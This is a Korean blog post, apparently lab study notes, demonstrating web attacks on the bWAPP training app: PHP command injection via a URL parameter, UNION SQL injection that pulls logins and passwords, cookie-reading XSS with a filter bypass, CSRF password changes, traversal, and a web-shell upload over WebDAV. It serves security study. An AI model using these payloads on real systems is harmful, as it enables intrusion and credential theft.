CodeBeginer 2022. 9. 18. 12:10

URL Injection

PHP Code Injection

아래 URL을 보면

URL 취약점

message부분에 입력한 문자가 사이트에 그대로 출력되는데 이것을 이용한 공격이다.

?message=exec('pwd')

?message=shell_exec('whoami')

?message=system('pwd')                       // 두번 나옴

?message=passthru('ps -ef')

?message=passthru('cat /var/log/wtmp')          // 로그 일부 확인 가능

?message=passthru('cat /var/log/dmesg')

와 같이 다양한 php 시스템 명령어를 이용하여 리눅스 명령어를 실행 시킬 수 있게 된다.

ls명령어를 입력한 결과

또한 이 취약점을 이용하여 Backdoor공격을 할 수 있다. (# Backdoor 공격 참고)

Select Injection(입력칸이 없고 선택만 하는 곳에서의 공격)

아래 URL을 보면

선택을 했을 때 URL 상태

이렇게 PHP Injection 공격과 같이 URL에 검색 결과가 등장한다 이를 이용하여 공격하는 방식이다.

?movie=5 union select 1,login,password,4,5,6,7 from users을 입력하여 아래와 같이 정보를 얻을 수 있다.

?movie=5 union select 1,login,password,4,5,6,7 from users 변조 결과

DB, Table, Column 명은 Blind Injection을 참고하면 된다.

Select Injection(입력칸이 있는 곳에서의 공격)

Ch01) 컬럼개수 알아내는 법

1.

SELECT ?,?,?,?   FROM ???   WHERE  movie='' UNION SELECT 1 # 

SELECT ?,?,?,?   FROM ???   WHERE  movie='' UNION SELECT  1, 2 # 

SELECT ?,?,?,?   FROM ???   WHERE  movie='' UNION SELECT  1, 2, 3 # 

SELECT ?,?,?,?   FROM ???   WHERE  movie='' UNION SELECT  1, 2, 3, 4 # 

이런식으로 입력하여 Different Number of Columns라는 오류가 안나올 때까지 입력해본다. -> 컬럼수가 같을 경우 SELECT문이 실행되기 때문

Column개수가 다를 때 결과

 

2.

0' order by 1 #

0' order by 2 #

0' order by 3 #

이런식으로 입력을 하면 전보다 뒤의 SELECT문의 컬럼이 많을경우 오류가 발생하게 된다. 그럼 그 전 개수가 같은 컬럼수 인 것이다.

컬럼이 같거나 작을 때
컬럼이 많아진 순간

 

성공 시

2,3,5,4의 컬럼이 보여지는 것을 확인 할 수 있다.

Ch02) DB명을 알아내는 법

0' union select 1,database(),version(),version(),user(),6,7 # 을 사용한 결과(# 앞 0을 넣은 이유는 앞 SELECT문의 결과가 안나오게 하기 위해서 없는 데이터를 찾는다고 적은 것이다.)

2,3,5,4의 컬럼에 알고자 하는 함수를 입력하여 알아낸 결과

Ch03) Table명을 알아내는 법

1' union select 1,table_name,3,4,5,6,7  from  information_schema.tables  where  table_schema='bWAPP' #을 사용한 결과 

table을 알아낸 결과

Ch04) Column명을 알아내는 법

1' union select 1,column_name,3,4,5,6,7  from  information_schema.columns where  table_schema='bWAPP' and table_name='users' #

column을 알아낸 결과

Ch05) Data 알아내는 법

이제 모든 정보를 다 알았으니 그 안에 든 Data를 알아보자

1' union select 1,login,password,4,5,6,7 from bWAPP.users #

login과 password를 알아낸 결과

XSS

사이트 모습

해당 빈칸에 1을 쳐주게 되면 이런식을 나오는데 이것을 이용해 스크립트 실행이 가능하다.

Low

<script>alert('good')</script> 를 치면 그냥 된다

Medium

$ cd /var/www/bWAPP

$ sudo vi xss_get.php

sudo vi xss_get.php

xss_check_4( )를 사용하고 있음을 알수가 있다.

functions_external.php 파일에 보안 수준에 따른 설정이 되어 있으니

$ sudo vi functions_external.php

sudo vi functions_external.php

xss_check_4 가 addslashes() 함수를 사용하는걸 볼수가 있다.

  • addslashes 함수는 ', ", \, NUL 앞에 \를 붙여서 Escape처리해주는 함수이다.
  • 따라서 <script>alert(9999)</script> 이런식으로 '' 를 뺴주고 사용을 하면 공격을 성공할수 있다.

<script>alert(document.cookie)</script> 을 치면 쿠키값이 나온다.

여기서 문자열을 넣고 싶으면 아스키코드를 치환해서 넣으면 된다.

<script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script> 치면은

성공!
 

CSRF(Cross Site Request Forgery)

CSRF공격은 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버에게 어떤 요청을 보내는 공격이다.

취약한 사이트의 개발자 도구에서 얻은 코드

위의 코드를 메모장으로 복사하여 수정후 .html 확장자로 변경하여 실행하면 

변경 후(input type = "text")

와 같은 HTML파일이 열리게 되며 여기서 변경 시 변경 된다. 이 방법 외에 사용자가 클릭만 하면 변경되도록 할 수 있는데

변경 후
변경 코드를 열어 본 결과

와 같이 사용자가 like it 버튼만 누른다면 비밀번호가 변경되게 된다.

Insecure DOR (Order Tickets)

정가에 구매한 모습
value가 가격이므로 이것을 바꿔 싼 가격에 구매 가능

그 외 Proxy 도구를 이용하여 우회 가능

( # CMS : Contents Management System 가격이 변조되지 않았는지, 비정상적으로 처리되지 않았는지 확인하는 시스템 )

Direcroty Traversal - Directories

URL변조로 직접 들어가기
결과

Direcroty Traversal - Files

URL변조
결과

Session Mgmt - Administrative Portals

권한 부족으로 잠겨있는 모습
0에서 1로 변경
권한을 얻은 모습

Insecure WebDAV Configuration (Kali로 하는건 Kali에서 보기)

초기 모습

여기에 .php WebShell을 올리기 위해 Proxy도구를 이용한다. 인터셉트를 설정 한 후 새로고침을 하면 

요청을 인터셉트 한 결과

인터셉트를 성공했다면 요청 Method(GET)을 수정하여 자신이 원하는 방향으로 이끌 수 있음

PUT을 할 경우 파일 업로드가 가능해진다

파일 업로드를 위해 PUT으로 바꾼 결과 제일 아래칸에 파일 내용을 집어넣으면 생성된다.